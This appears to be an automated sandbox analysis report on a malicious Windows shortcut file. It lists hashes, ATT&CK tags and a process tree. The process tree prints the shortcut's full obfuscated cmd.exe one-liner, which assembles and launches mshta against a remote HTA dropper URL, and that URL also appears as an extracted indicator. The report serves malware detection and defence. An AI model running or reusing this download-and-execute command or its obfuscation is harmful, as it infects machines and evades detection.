78953aded36ebc99416a8d8b2966542f74255a87e1fb849555ca373c6ad13a89

Analysis

max time kernel
150s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:19

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General

Target
DOC-54F1WE.lnk
Size 2KB
Sample260804-j73sjavdmf
SHA256 78953aded36ebc99416a8d8b2966542f74255a87e1fb849555ca373c6ad13a89
MD5 8048ff466249a85a67b81ed0e015bbeb
SHA1 56312d28f9368105ac2952e93f44328533d1b91b
SHA512 fa7c99159b3d38b4699e8ed8c5c68d467f5519bcdc5f718aea2d3ed72798c78d8f09206c4be39e2d79959de441caf860529962ed4fbb40d617b146accf54f1c2
TLSH
T16741FD403AE941A8F3FB8E72EDFA6B81897FBD526DB0C54E0810814D5431B05E9B7B76
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
924	cmd.exe
3720	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 924 wrote to memory of 3720	924	cmd.exe	90
PID 3720 wrote to memory of 5416	3720	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-54F1WE.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:924
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set hIC=cacheczrlzglsaorcache&&set kkfv=winikcsppyazpobnwin&&set JaXQ=winupjbpmbebndqkwin&&set Olz=sysqaairbsrhqpuhpksys&&set qJ=winrcvdcmylwin&&set myR=netbcmemuynet&&set jhM=dbgamnkxvivdbg&&set azeo=ls3nb&&set np=gtap&&set eNEba=rfyrtkfh&&set QE=cfgcvgryqgfbtvbpvotcfg&&set rVDS=datgafcjmiankrdat&&set MSHPe=qwomshlb&&set unEq=iztf&&set rin=s90ap4z&&set tM=dbgavpjaxqnyzcdbg&&set zfpn=https://b@o-pdff@i@[email protected]@at@/h/e@s@tag@io@1.@php?r=36@076@1F157@94&&start /b !MSHPe:~3,3!!unEq:~2,1!!rin:~3,1! !zfpn:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:5416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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